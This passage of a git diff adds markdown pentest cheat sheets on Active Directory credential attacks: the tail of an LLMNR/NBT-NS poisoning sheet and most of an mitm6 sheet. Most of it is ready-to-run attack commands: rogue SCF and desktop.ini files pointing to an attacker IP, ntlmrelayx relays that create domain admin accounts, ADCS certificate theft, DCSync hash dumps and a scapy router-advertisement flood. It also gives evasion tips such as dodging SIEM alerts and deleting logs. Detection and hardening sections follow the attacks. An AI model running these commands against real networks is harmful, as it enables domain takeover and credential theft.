to target) ──────────────── +# (Requires Inveigh with relay support compiled in) +.\Inveigh.exe -ConsoleOutput Y -LLMNR Y -RelayTarget smb://10.10.10.20 +``` + +*** + +### 🔴 WPAD Abuse (Rogue Proxy — Capturing Browser Authentication) + +```bash +# ── WPAD (Web Proxy Auto-Discovery) forces browsers to authenticate via NTLM ── +# When -w flag is set, Responder hosts a fake WPAD file +# Browsers on the network auto-discover the proxy and authenticate to it + +sudo responder -I eth0 -wv +# -w = enable WPAD rogue proxy server + +# What happens: +# 1. Browser checks for WPAD via LLMNR/NBT-NS: "Where is WPAD?" +# 2. Responder responds: "I am WPAD, download proxy config from me" +# 3. Browser authenticates with NTLM to download the config +# 4. Net-NTLMv2 hash captured + +# Force NTLM authentication on WPAD (bypasses transparent auth) +sudo responder -I eth0 -wv --wpad-auth NTLM +``` + +*** + +### 🔴 Triggering LLMNR Requests Manually (Active Methods) + +```bash +# ── Method 1: Create a rogue file with UNC path to your machine ─────────────── +# Place a file (e.g. desktop.ini or a .lnk file) on a share pointing to your IP +# When a user browses that directory, their machine triggers LLMNR auth to you + +# desktop.ini content: +[.ShellClassInfo] +IconResource=\\<attacker_IP>\share\icon.ico + +# ── Method 2: Rogue PDF with embedded UNC path ─────────────────────────────── +# Embed a UNC path in a PDF as a remote image resource +# Adobe Reader automatically authenticates when the PDF is opened + +# ── Method 3: SCF file (Shell Command File) ─────────────────────────────────── +# Place @exploit.scf in a share: +[Shell] +Command=2 +IconFile=\\<attacker_IP>\share\icon.ico +[Taskbar] +Command=ToggleDesktop +# Windows Explorer auto-processes SCF files — triggers NTLM auth when folder is browsed + +# ── Method 4: Force victim machine to query non-existent host ───────────────── +# On a machine you control, create a mapped drive to a non-existent share +net use Z: \\FAKESERVER\share +# Windows will fall back to LLMNR → Responder captures the hash +``` + +*** + +## 🎯 OPSEC Tips + +- **Analyze mode first (`-A`)** — run Responder passively to map which users and machines are making failed name resolution requests before committing to active poisoning +- **Target high-value users only** — if you see `Administrator` or `svc_sql` in the captured hashes, those are your priority; don't poison endlessly and generate noise +- **Relay over crack** — if SMB signing is disabled on targets, relay immediately rather than waiting to crack; relaying is faster and more reliable than cracking +- **WPAD is gold in office environments** — every browser on the subnet will eventually authenticate; `-w` flag almost always yields domain user hashes +- **SCF/desktop.ini files on shares** are the most stealthy active trigger — they require no user interaction beyond browsing a folder, and look completely benign +- **Avoid poisoning during business hours on large networks** — hundreds of captured hashes and simultaneous auth failures will trigger SIEM alerts; prefer out-of-hours or low-traffic windows +- **Clear Responder logs after collection** — `/usr/share/responder/logs/` builds up and is trivially discovered on a seized machine +- **Responder vs Inveigh stealth comparison:** + - Responder (Linux): More noisy due to network traffic patterns; tools presence on Linux easily discoverable + - Inveigh (Windows): Blends with legitimate Windows services; harder to distinguish from normal auth traffic; PowerShell can be suspicious; C# version most stealthy +- **Time-to-execute**: Responder start → first captured hash in 5-30 minutes (passive); active methods trigger immediate responses within seconds + +*** + +## 🛡️ Detection — Event IDs + +| Event ID / Source | What to Look For | +|---|---| +| **Windows Event 4648** | Logon with explicit credentials to an unexpected machine (attacker's IP) | +| **Windows Event 4625** | Failed logon — victim authenticated to attacker but relay/crack not complete | +| **Network — UDP 5355** | Unusual volume of LLMNR queries from workstations — or responses from unexpected hosts | +| **Network — UDP 137** | NBT-NS broadcasts and unexpected responders on the subnet | +| **DNS / SIEM** | Hostnames that don't exist in DNS being queried — typo-driven LLMNR triggers | +| **IDS/IPS signature** | Known Responder patterns — rogue LLMNR/NBT-NS responder from same IP answering multiple queries | +| **Sysmon EID 3** | Network connection from unexpected process to port 5355 or 137 | + +**Primary detection signature:** A single host responding to **multiple different LLMNR/NBT-NS broadcast queries** for different hostnames within a short window is a near-certain indicator of Responder running. Legitimate machines only respond to queries for their own name — a machine answering queries for `FILESERVRE`, `PRINTSERV`, and `BACKUP01` within 60 seconds is unmistakably an attacker. + +### Sigma Rules (SigmaHQ) + +``` +Rule ID: detection_llmnr_poisoning_multihost +Description: Detects single host responding to multiple different hostname LLMNR queries +Event filter: LLMNR responses for hostnames not in DNS; unusual responder IP +Status: HIGH severity + +Rule ID: detection_nbtns_poisoning +Description: Detects NBT-NS spoofing activity from non-authoritative host +Event filter: UDP port 137 responses from unexpected IP; multiple different responses +Status: MEDIUM severity + +Rule ID: detection_responder_tool_artifacts +Description: Detects known Responder signatures (HTTP stack, default responses) +Event filter: Specific HTTP headers, response patterns matching Responder tool +Status: MEDIUM severity +``` + +### EDR Detections + +**Microsoft Defender for Identity:** +- Alert: "Reconnaissance using LLMNR queries" — detects unusual LLMNR broadcast patterns +- Alert: "Suspicious LLMNR/NBT-NS responder detected" — alerts when single host answers multiple queries +- Alert: "Failed DNS resolution followed by LLMNR authentication" — correlates broken DNS with fallback auth + +**Falcon (CrowdStrike):** +- Network signature: "LLMNR poisoning activity" +- Process: Responder.py or inveigh.exe execution +- Behavioral: High volume of LLMNR/NBT-NS responses from single source + +### Hardening Commands — Disable LLMNR/NBT-NS via GPO + +```powershell +# ── Disable LLMNR via Group Policy ─────────────────────────────────────────── +# GPO Path: Computer Configuration → Administrative Templates → +# Network → DNS Client → Turn off multicast name resolution +# Set: ENABLED + +# Registry equivalent: +reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" \ + /v EnableMulticast /t REG_DWORD /d 0 /f + +# ── Disable NBT-NS via Group Policy (P-Node configuration) ──────────────────── +# GPO Path: Computer Configuration → Preferences → Windows Settings → +# Registry +# Add registry entry: +reg add "HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" \ + /v NodeType /t REG_DWORD /d 2 /f +# 1 = B-node (broadcast), 2 = P-node (point-to-point, DNS only), 4 = M-node, 8 = H-node + +# ── Disable NBT-NS per NIC (PowerShell — on each machine) ──────────────────── +$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration +foreach ($adapter in $adapters) { + $adapter.SetTcpipNetbios(2) # 2 = Disable NetBIOS over TCP/IP +} + +# ── Disable mDNS (Windows 10+) – registry entry ────────────────────────────── +reg add "HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters" \ + /v DisableMulticast /t REG_DWORD /d 1 /f + +# ── Firewall rule to block LLMNR/NBT-NS (alternative to GPO) ──────────────── +# Block outbound LLMNR (port 5355) +netsh advfirewall firewall add rule name="Block LLMNR" dir=out action=block \ + protocol=udp remoteport=5355 + +# Block outbound NBT-NS (port 137) +netsh advfirewall firewall add rule name="Block NBT-NS" dir=out action=block \ + protocol=udp remoteport=137 + +# Block inbound mDNS (port 5353) +netsh advfirewall firewall add rule name="Block mDNS" dir=in action=block \ + protocol=udp localport=5353 + +# ── Verify hardening is in place ─────────────────────────────────────────────── +# Check DNS client multicast setting +Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" \ + -Name EnableMulticast + +# Check NetBIOS node type +Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters" \ + -Name NodeType +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| **Responder not capturing hashes** | Network interface binding issue or LLMNR/NBT-NS disabled on network | Check interface with `ip a`; run `sudo responder -I eth0 -A` first to verify broadcasts exist; check if GPO disabled protocols on target machines | +| **Hash not cracking** | Weak wordlist or hash format incorrect | Verify hash format (should have 2x colons `::` for domain\\user); try larger wordlist `/usr/share/wordlists/rockyou.txt`; add rules with `-r best64.rule` | +| **Interface binding error ("Permission denied" on port 5355)** | Running Responder without sudo or port already in use | Use `sudo responder`; check `sudo netstat -ulnp \| grep 5355` to see what's using the port; kill conflicting process | +| **Responder starts but captures nothing** | No LLMNR/NBT-NS broadcasts on network (protocols disabled or all names resolve via DNS) | Run analysis mode: `sudo responder -I eth0 -A` to verify any queries exist; manually trigger with `net use Z: \\FAKESERVER\share` on a victim machine | +| **WPAD mode not triggering auth** | Browser not configured for automatic proxy detection or WPAD disabled | Check browser WPAD settings; verify `-w` flag enabled; try forcing WPAD with `--wpad-auth NTLM` | +| **Inveigh PowerShell "object reference not set"** | Module path incorrect or version incompatibility | Verify Inveigh.ps1 path is correct; import with full path: `Import-Module C:\path\to\Inveigh.ps1`; use C# version instead | +| **Inveigh.exe crashes immediately** | Insufficient permissions or port conflict on Windows | Run as Administrator; check if port 5355/137 in use: `netstat -ano \| findstr :5355`; close conflicting application | +| **Captured hash but relay fails** | Relay target has SMB signing enabled or LDAP channel binding active | Verify relay target vulnerability with `nxc smb <IP> \| grep signing`; switch to LDAP/ADCS relay instead of SMB | +| **Responder logs building up, unnoticed by operators** | Logs stored in `/usr/share/responder/logs/` accumulate over time | Regularly clear logs: `rm /usr/share/responder/logs/*` or move to analysis directory; automate cleanup with cron job | + +*** + +## 🗺️ MITRE ATT&CK + +**Technique: T1557.001 — Adversary-in-the-Middle** + +**Tactics:** +- **TA0006: Credential Access** — Capture NTLM hashes via LLMNR/NBT-NS poisoning +- **TA0007: Discovery** — Passive reconnaissance to identify network users/machines via LLMNR analysis mode + +**APT Groups Using LLMNR/NBT-NS Poisoning:** +- **APT28 (Fancy Bear)** — LLMNR poisoning in internal network compromise chains +- **APT29 (Cozy Bear)** — Credential capture via name resolution poisoning +- **APT41** — LLMNR attacks in enterprise networks +- **Wizard Spider** — LLMNR poisoning for initial access in ransomware campaigns +- **Scattered Spider** — Multi-stage LLMNR attacks for credential theft + +**Related techniques:** +- T1040: Network Sniffing +- T1557: Adversary-in-the-Middle (entire technique category) +- T1566: Phishing (alternative initial vector) +- T1187: Forced Authentication (active trigger methods) + +*** + +## 🔗 Attack Chain Context + +``` +[LLMNR / NBT-NS / mDNS Poisoning] ──→ Net-NTLMv2 Hash Captured + │ + ├──→ 💥 Relay immediately via ntlmrelayx (Attack #7) → DA in minutes + ├──→ 🔑 Crack with Hashcat (-m 5600) → valid plaintext credentials + ├──→ 🔑 Use cracked creds → Password Spraying against more accounts + ├──→ 🎫 Kerberoasting with new valid domain credentials + ├──→ 🩸 LDAP relay → DCSync rights → full domain hash dump + └──→ 📜 ADCS relay (ESC8) → DC machine cert → TGT → Domain Admin +``` + +**Why this is so dangerous as an initial vector:** In a typical enterprise internal pentest, Responder is started on day one and **within 30 minutes** has captured credentials from multiple users purely from organic activity — broken mapped drives, startup scripts querying dead servers, and misconfigured applications. No phishing, no exploits, no noise — just passive listening against a protocol that Windows has enabled by default for decades. + +*** + +> ✅ **Attack #8 — LLMNR/NBT-NS/mDNS Poisoning complete.** Tell me to move on when you're ready for **Attack #9 — mitm6 (IPv6 DNS Spoofing)**. + +Sources + LLMNR/NBT-NS Poisoning - Active Directory | Internal Pentest https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/initial-attack-vectors/llmnr-nbt-ns-poisoning + LLMNR Poisoning and Active Directory - TCM Security https://tcm-sec.com/llmnr-poisoning-and-how-to-prevent-it/ + Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay https://attack.mitre.org/techniques/T1557/001/ + LLMNR Poisoning: Threats, Detection, and Prevention Guide https://www.startupdefense.io/cyberattacks/llmnr-poisoning + SMB Relay Attacks and Active Directory - TCM Security https://tcm-sec.com/smb-relay-attacks-and-how-to-prevent-them/ + LLMNR Poisoning - evoila GmbH https://evoila.com/blog/llmnr-poisoning/ + Fragmentation Considered Poisonous https://arxiv.org/pdf/1205.4011.pdf + Injection Attacks Reloaded: Tunnelling Malicious Payloads over DNS https://arxiv.org/pdf/2205.05439.pdf + HADES: Detecting Active Directory Attacks via Whole Network Provenance + Analytics http://arxiv.org/pdf/2407.18858.pdf + Unilateral Antidotes to DNS Cache Poisoning http://arxiv.org/pdf/1209.1482.pdf + Silence is not Golden: Disrupting the Load Balancing of Authoritative DNS Servers https://dl.acm.org/doi/pdf/10.1145/3576915.3616647 + Optimizing Cyber Response Time on Temporal Active Directory Networks + Using Decoys http://arxiv.org/pdf/2403.18162.pdf + A Survey on Malicious Domains Detection through DNS Data Analysis https://arxiv.org/pdf/1805.08426.pdf + Multi-Instance Adversarial Attack on GNN-Based Malicious Domain + Detection http://arxiv.org/pdf/2308.11754.pdf + Active Directory Exploitation - LLMNR/NBT-NS Poisoning - YouTube https://www.youtube.com/watch?v=Fg2gvk0qgjM + LLMNR Poisoning with Responder - Active Directory Lab - YouTube https://www.youtube.com/watch?v=Dfj9IQiXF1M + LLMNR/NBT-NS Poisoning – from Windows - Route Zero: Security https://routezero.security/2025/02/28/llmnr-nbt-ns-poisoning-from-windows/ + LLMNR Poisoning Attack | Active Directory Exploitation - YouTube https://www.youtube.com/watch?v=aXQggrLqqrs + Exploiting Active Directory Using LLMNR/NBT-NS Poisoning https://www.youtube.com/watch?v=8IvVAT1Tmuw + How To Remove LLMNR and NBT-NS From Your Active ... - YouTube https://www.youtube.com/watch?v=iN0KUj5I7aE + LLMNR Attack & Defense: Secure Windows Networks - FireCompass https://firecompass.com/attack-defend-llmnr-a-widespread-shadow-network-discovery-protocol/ + Preventing LLMNR Poisoning in Active Directory Networks https://www.coursehero.com/file/252194640/Active-Directory-LLMNR-Poisoningpdf/ + How does LLMNR poisoning work? - YouTube https://www.youtube.com/watch?v=LAvR-qtOfB0 + LLMNR/NBT-NS Poisoning and SMB Relay - Tidal Cyber https://app.tidalcyber.com/technique/b44a263f-76b2-4a1f-baeb-dd285974eca6 diff --git a/src/content/sheets/active-directory/attack-9-mitm6-ipv6-dns-spoofing-dhcpv6-takeover.md b/src/content/sheets/active-directory/attack-9-mitm6-ipv6-dns-spoofing-dhcpv6-takeover.md @@ -0,0 +1,517 @@ +--- +title: "Attack #9 — mitm6 (IPv6 DNS Spoofing DHCPv6 Takeover)" +description: "mitm6 exploits a fundamental default behaviour of Windows: even in networks that have never deployed IPv6, every Windows machine continuously sends DHCPv6…" +category: active-directory +tags: ["active-directory", "credential-access", "ntlm", "relay"] +tools: ["Nmap", "NetExec", "Impacket", "Rubeus", "BloodHound"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/AD-Attack/Category-One/🔴 Attack #9 — mitm6 (IPv6 DNS Spoofing DHCPv6 Takeover).md" +--- +# 🔴 Attack #9 — mitm6 (IPv6 DNS Spoofing / DHCPv6 Takeover) + +*** + +## 📖 How It Works + +mitm6 exploits a **fundamental default behaviour of Windows**: even in networks that have never deployed IPv6, every Windows machine continuously sends DHCPv6 Solicit messages at boot, on network reconnect, and periodically during operation, asking if there is an IPv6 DHCP server available. Since most enterprise networks have no legitimate DHCPv6 server, these broadcasts go unanswered — and that silence is the attack surface. + +The attacker runs mitm6, which responds to every DHCPv6 Solicit with a rogue DHCPv6 Reply, assigning the victim a link-local IPv6 address and — most critically — **designating the attacker's machine as the victim's primary DNS server**. Because Windows prefers IPv6 over IPv4 for DNS resolution, all subsequent DNS queries flow to the attacker. mitm6 then responds to specific queries (particularly WPAD) with its own IP, forcing the victim to initiate NTLM authentication to the attacker. ntlmrelayx relays that authentication to LDAP on the DC, and in the best case — an admin logging in — it automatically **creates a new Domain Admin account or adds DCSync rights** within seconds. + +A study of default-configuration Windows systems found that **95% are vulnerable** to credential harvesting via this IPv6 DNS manipulation. + +> ⚠️ **Windows 11 / Server 2025:** DHCPv6 remains enabled by default on all recent Windows versions. The mitigation is not automatic — administrators must explicitly disable it via GPO. IPv6 is **deeply embedded** in modern Windows kernels and disabling it is more difficult than in earlier versions. + +### Why mitm6 Beats LLMNR Poisoning in Hardened Environments + +| Property | LLMNR/NBT-NS Poisoning | mitm6 | +|---|---|---| +| **Protocol abused** | LLMNR (UDP 5355) / NBT-NS (UDP 137) | DHCPv6 (UDP 546/547) + DNS (UDP 53) | +| **Blocked by GPO?** | ✅ Easy to disable | ❌ Rarely disabled — DHCPv6 seen as benign | +| **Requires DNS failure** | ✅ Only fires on failed DNS lookups | ❌ Works even with perfect DNS | +| **Scope** | Only catches failed name resolutions | Intercepts ALL DNS queries from victims | +| **Trigger** | Passive — user must make typo/broken path | Active — fires on every boot / network reconnect | +| **Works if IPv6 disabled** | N/A | ❌ Fails if IPv6 completely disabled | + +### The Full Attack Flow + +``` +1. Attacker runs mitm6 on the internal network +2. Windows machines send periodic DHCPv6 Solicit broadcasts (boot/reconnect) +3. mitm6 responds with rogue DHCPv6 Reply: + - Assigns victim a link-local IPv6 address + - Sets ATTACKER as victim's primary IPv6 DNS server +4. Victim's Windows now sends ALL DNS queries to attacker +5. mitm6 answers WPAD queries with attacker's IP → victim fetches fake PAC file +6. WPAD PAC fetch triggers NTLM authentication to attacker (NTLMv2 hash sent) +7. ntlmrelayx relays NTLM auth to LDAP/LDAPS on the DC +8. ntlmrelayx escalates: + - Creates new user in Domain Admins / Enterprise Admins group (if DA relayed) + - Adds DCSync rights to attacker-controlled account (if high-priv user relayed) + - Adds attacker-controlled machine account (if regular user relayed) +9. Full domain compromise achieved — no initial credentials required +``` + +*** + +## ⚙️ Prerequisites + +| Requirement | Detail | +|---|---| +| **Internal network access** | Must be on same subnet as victims — broadcast domain required for DHCPv6 | +| **IPv6 not fully disabled** | If IPv6 is completely disabled on all hosts, attack fails — but this is rare | +| **DHCPv6 not blocked by firewall** | If UDP 546/547 inbound is blocked by Windows Firewall GPO, mitm6 can't respond | +| **NTLM not disabled** | Relay chain requires NTLM (though Kerberos relay variants exist — see CVE-2026-20929) | +| **LDAP signing/channel binding not enforced** | For LDAP relay to DC; if enforced, relay to LDAPS or SMB instead | +| **Wait for trigger event** | Must wait for victim machine to reboot, reconnect, or periodically refresh DHCPv6 | + +*** + +## 🛠️ Tools + +| Tool | Platform | Role | +|---|---|---| +| **mitm6** | Linux | Core DHCPv6/DNS spoofer — the entire attack starts here | +| **ntlmrelayx.py** (Impacket) | Linux | Relay engine — receives NTLM from mitm6 victims, relays to DC LDAP | +| **Responder** | Linux | Optional — can run alongside mitm6 for additional hash capture | +| **secretsdump.py** | Linux | Post-exploitation — DCSync after relayed escalation | +| **Wireshark / tcpdump** | Linux | Monitor DHCPv6 traffic; verify victims are being assigned rogue DNS | +| **BloodHound / SharpHound** | Both | Post-DA — enumerate domain using newly created account | + +*** + +## 💻 Full Commands + +### 🔵 Step 0 — Verify IPv6 is Active on the Network + +```bash +# ── Passive capture — verify DHCPv6 Solicit broadcasts ─────────────────────── +sudo tcpdump -i eth0 udp port 546 or udp port 547 -v +# You should see DHCPv6 Solicit messages from Windows machines +# If you see nothing, IPv6 may be disabled on the subnet + +# ── Wireshark filter ────────────────────────────────────────────────────────── +# Filter: dhcpv6 or icmpv6 + +# ── Nmap — enumerate IPv6-enabled hosts ────────────────────────────────────── +nmap -6 -sn fe80::/64 +nmap -6 --script=ipv6-multicast-mld-list -p 0 <target> + +# ── Check if WPAD is resolvable (pre-attack reconnaissance) ────────────────── +nslookup wpad +# If "Non-existent domain" → mitm6 will intercept the WPAD query +``` + +*** + +### 🔴 mitm6 — Core Tool Setup + +```bash +# ── Install mitm6 ───────────────────────────────────────────────────────────── +pip3 install mitm6 +# or +git clone https://github.com/dirkjanm/mitm6 +cd mitm6 && pip3 install . + +# ── Basic run — target a specific domain ───────────────────────────────────── +sudo mitm6 -d corp.local + +# ── Recommended run — target domain, suppress router advertisements ─────────── +sudo mitm6 -d corp.local --no-ra +# --no-ra = don't send Router Advertisements (reduces noise, more targeted) + +# ── Specify network interface explicitly ───────────────────────────────────── +sudo mitm6 -i eth0 -d corp.local --no-ra + +# ── Target a specific subnet only ───────────────────────────────────────────── +sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn --no-ra + +# ── Verbose output (see each DHCPv6 response sent) ─────────────────────────── +sudo mitm6 -d corp.local --no-ra -v + +# ── What you'll see in output: +# [*] Sent spoofed reply to fe80::xxxx for WPAD.corp.local +# [*] Sent spoofed reply to fe80::xxxx for corp.local +# This means victims are now routing DNS through you +``` + +*** + +### 🔴 ntlmrelayx Setup — LDAP Relay for DA Account Creation + +```bash +# ── STEP 1: Prepare relay to LDAP (primary escalation method) ───────────────── + +# Relay to LDAP — auto-create new user in Domain Admins (if DA logs in) +ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \ + -smb2support -l loot/ + +# ── Flags explained: +# -6 = enable IPv6 support (critical for mitm6 relay) +# -t ldap:// = relay target (DC LDAP) +# -wh = WPAD hostname to respond to (attacker-wpad = your machine's name) +# -smb2support = support SMBv2 on the relay listener +# -l loot/ = dump LDAP info to this directory + +# ── Relay to LDAPS (if LDAP signing enforced) ───────────────────────────────── +ntlmrelayx.py -6 -t ldaps://DC01.corp.local -wh attacker-wpad \ + -smb2support -l loot/ + +# ── STEP 2: Run mitm6 in a separate terminal ────────────────────────────────── +sudo mitm6 -d corp.local --no-ra + +# ── STEP 3: Wait for a privileged user to log in or machine to reboot ───────── +# ntlmrelayx output when DA is relayed: +# [*] HTTPD(80): Connection from 10.10.10.50 controlled, attacking target ldap://DC01.corp.local +# [*] Authenticating against ldap://DC01.corp.local as CORP\Administrator +# [*] Adding new user with username: QMFbhMXG and password: XYZ to domain +# [*] Privilege Escalation Done! QMFbhMXG is in the Administrators group! + +echo "Domain Admin account created — game over" +``` + +*** + +### 🔴 Full Attack Chain — mitm6 → LDAP Relay → DCSync + +```bash +# ── Terminal 1: Start mitm6 ─────────────────────────────────────────────────── +sudo mitm6 -d corp.local --no-ra -i eth0 + +# ── Terminal 2: Start ntlmrelayx with LDAP target + loot dump ──────────────── +ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \ + -smb2support -l loot/ --no-da --no-acl + +# Wait for a domain user to authenticate... + +# ── Terminal 3 (after successful relay): Check loot directory ──────────────── +ls loot/ +# Contains: domain_computers.html, domain_users.html, domain_groups.html etc. +cat loot/domain_users.html + +# ── If a Domain Admin was relayed — new account auto-created ───────────────── +# ntlmrelayx creates: random username + random password +# Check ntlmrelayx output for the credentials + +# ── DCSync using the newly created DA account ───────────────────────────────── +secretsdump.py corp.local/QMFbhMXG:'CreatedPassword'@DC01.corp.local + +# ── OR add DCSync rights to your own pre-created account ───────────────────── +ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \ + -smb2support --escalate-user low_user + +# After escalation: +secretsdump.py corp.local/low_user:'KnownPassword'@DC01.corp.local -just-dc-ntlm +``` + +*** + +### 🔴 mitm6 → ADCS Relay (Most Destructive Chain) + +```bash +# ── If LDAP signing/channel binding blocks LDAP relay, target ADCS instead ─── + +# Terminal 1: mitm6 +sudo mitm6 -d corp.local --no-ra + +# Terminal 2: ntlmrelayx to ADCS HTTP enrollment endpoint +ntlmrelayx.py -6 -t http://ADCS01.corp.local/certsrv/certfnsh.asp \ + -wh attacker-wpad -smb2support --adcs --template "DomainController" + +# When DC machine account authenticates (via coercion or reboot): +# ntlmrelayx requests a DomainController template certificate for DC01$ +# Output: [*] Got certificate! Saved as DC01$.pfx + +# Request TGT using the DC machine certificate (PKINIT) +.\Rubeus.exe asktgt /user:DC01$ /certificate:DC01$.pfx /password:'' /ptt /nowrap + +# DCSync using DC machine account TGT +secretsdump.py -k -no-pass corp.local/'DC01$'@DC01.corp.local -just-dc-ntlm + +# Result: Full domain hash dump — total compromise +``` + +*** + +### 🔴 mitm6 → SMB Relay (Alternative When LDAP Is Locked Down) + +```bash +# Terminal 1: mitm6 +sudo mitm6 -d corp.local --no-ra + +# Terminal 2: ntlmrelayx to SMB targets (SMB signing must be disabled on target) +nxc smb 10.10.10.0/24 --gen-relay-list smb_targets.txt +ntlmrelayx.py -6 -tf smb_targets.txt -wh attacker-wpad \ + -smb2support -i + +# When relay succeeds to SMB target: +nc 127.0.0.1 11000 # Interactive SMB shell as relayed user + +# Execute commands on relayed target +ntlmrelayx.py -6 -tf smb_targets.txt -wh attacker-wpad \ + -smb2support -c "net user hacker P@ssword123! /add && net localgroup administrators hacker /add" +``` + +*** + +### 🔴 Advanced: krbrelayx Integration — Kerberos Relay via mitm6 + +```bash +# ── CVE-2026-20929: Relay Kerberos tickets instead of NTLM ───────────────── +# This bypasses some defences designed for NTLM-only relay + +# Terminal 1: mitm6 +sudo mitm6 -d corp.local --no-ra + +# Terminal 2: krbrelayx — accepts Kerberos from mitm6 victims +python3 krbrelayx.py -ts DC01.corp.local + +# Terminal 3: On DC, check for new account creation (same as LDAP relay) +# krbrelayx will auto-escalate if a machine account with sufficient privileges relays + +# This is more stealthy than NTLM relay in modern defences +``` + +*** + +### 🔴 RA Flooding — Alternative When DHCPv6 Relay Fails + +```bash +# ── If DHCPv6 isn't triggering, use Router Advertisement flooding ──────────── + +# Terminal 1: RA flood (forces IPv6 priority without DHCP) +sudo python3 -m pip install scapy +python3 - <<'EOF' +from scapy.all import * +from scapy.layers.inet6 import * + +iface = "eth0" +target_prefix = "2001:db8::/64" # Your target IPv6 prefix + +def flood_ra(): + pkt = Ether()/IPv6(src="fe80::1", dst="ff02::1")/ICMPv6ND_RA()/ICMPv6NDOptPrefixInfo(prefix=target_prefix) + while True: + sendp(pkt, iface=iface, interval=1, verbose=0) + +flood_ra() +EOF + +# This forces all victims to prefer IPv6 — DNS then flows to your mitm6 +``` + +*** + +### 🔴 Delegate Access — Targeted Domain Escalation via Relay + +```bash +# ── Instead of creating new user, grant specific rights to existing user ───── + +# ntlmrelayx with --escalate-user (adds DCSync rights) +ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \ + -smb2support --escalate-user "corp\low_priv_user" + +# ntlmrelayx with --add-computer (add computer account) +ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \ + -smb2support --add-computer attacker-owned + +# ntlmrelayx with --no-acl (just dump LDAP, don't modify) +ntlmrelayx.py -6 -t ldap://DC01.corp.local -wh attacker-wpad \ + -smb2support --no-acl + +# Specific escalation after relay — read the LDAP dump first, then decide +secretsdump.py -hashes :HASH corp.local/elevated_user@DC01.corp.local -just-dc-ntlm +``` + +*** + +### 🔴 Monitoring — Verify mitm6 is Working + +```bash +# ── Check which victims have been assigned rogue DNS ───────────────────────── +sudo tcpdump -i eth0 udp port 547 -v | grep -i "solicit\|advertise\|reply" + +# ── Watch for WPAD requests hitting your machine ────────────────────────────── +sudo tcpdump -i eth0 port 80 -v | grep -i "wpad" + +# ── Monitor ntlmrelayx for successful relays ────────────────────────────────── +# Watch for lines containing: +# "HTTPD: Received connection from..." +# "Authenticating against ldap://..." +# "Adding new user..." +# "Privilege Escalation Done!" +``` + +*** + +## 🧩 Troubleshooting + +| Error | Cause | Fix | +|---|---|---| +| **mitm6 not receiving DHCPv6 Solicit messages** | IPv6 disabled on victim network or firewall blocking UDP 546/547 | Run `sudo tcpdump udp port 546` to verify DHCPv6 traffic exists; if none, try different subnet or disable IPv6 filtering | +| **ntlmrelayx LDAP relay fails with "signing error"** | LDAP signing or channel binding enforced on DC | Switch to LDAPS (`-t ldaps://`), ADCS HTTP relay, or SMB relay instead | +| **No WPAD requests seen in ntlmrelayx output** | WPAD proxy already configured on victims via GPO, or DNS not redirecting | Verify mitm6 is responding to WPAD queries with `tcpdump port 80`; check if victims have hardcoded WPAD server in registry | +| **IPv6 completely disabled on subnet** | GPO or Registry DisabledComponents flag set to 0xFF | Impossible to exploit with mitm6; use LLMNR/NBT-NS poisoning instead | +| **Relay target unreachable after NTLM capture** | Firewall rule blocks attacker→DC on port 389/636 (LDAP/LDAPS) | Confirm network path with `nc -zv DC01.corp.local 389`; consider SMB relay (port 445) as alternative | +| **ntlmrelayx creates user but no DCSync rights** | Relay not from Domain Admin or Enterprise Admin | Use `--escalate-user` flag instead; or wait for DA to authenticate | +| **mitm6 causes network-wide DNS failures** | Router Advertisement (RA) messages disrupting routing | Always use `--no-ra` flag; scope to exact domain with `-d corp.local` | +| **Relay account created but can't use it for DCSync** | Account locked, password expired, or UPN format wrong | Verify format: `secretsdump.py corp.local/USERNAME:'PASSWORD'@DC01.corp.local`; check account status with `net user` | + +*** + +## 🎯 OPSEC Tips + +- **Always use `--no-ra`** — Router Advertisement messages are noisy and can disrupt network routing for all victims, which causes immediate IT investigation +- **Scope to your target domain** with `-d corp.local` — without this, mitm6 answers ALL DNS queries including internet traffic, causing visible disruption +- **Run during high-activity windows** — morning logon storms (8–9am), after patching cycles, or when large numbers of machines reboot give you maximum relay opportunities +- **Target LDAP over SMB** when possible — LDAP relay creates persistent domain objects (new admin users, DCSync rights) rather than temporary shell access +- **Use `--no-da --no-acl` flags in ntlmrelayx initially** — dump LDAP info first to understand the domain before making noisy modifications +- **mitm6 causes minor IPv6 disruption** — some machines may experience temporary DNS resolution issues; keep attack windows short (15–30 minutes) +- **Combine with Responder on different protocols** — run mitm6 for DHCPv6/DNS and Responder in analyse mode simultaneously to map the full authentication landscape +- **Time-to-execute estimate:** mitm6 setup (5 min) + waiting for trigger event (5–30 min depending on logon activity) = 10–35 minutes to domain compromise +- **Tool versions:** Use latest Impacket for ntlmrelayx (GitHub main branch preferred over pip); mitm6 1.0+ recommended; test in lab first for version compatibility + +*** + +## 🛡️ Detection — Event IDs / Network Indicators + +| Source | What to Look For | +|---|---| +| **Windows Event 4741** | New computer account created — ntlmrelayx `--add-computer` via relayed auth | +| **Windows Event 4728/4732** | User added to privileged group — DA account creation by ntlmrelayx | +| **Windows Event 4662** | ACE modification on AD object — DCSync rights being granted to account | +| **Windows Event 4624 Type 3** | Logon from unexpected source IP (attacker's machine) | +| **Network — DHCPv6 UDP 546/547** | Rogue DHCPv6 server responding on the subnet (only one should exist) | +| **Network — DNS** | Unusual DNS responses from non-DC IP addresses; WPAD queries answered by unexpected host | +| **IDS/Zeek/Suricata** | DHCPv6 Advertise/Reply messages from a host not designated as a DHCP server | +| **SIEM** | New privileged accounts created outside of standard provisioning workflows | + +**Primary detection signature:** A **DHCPv6 Reply or Advertisement packet from a host that is not the legitimate DHCP server** is an 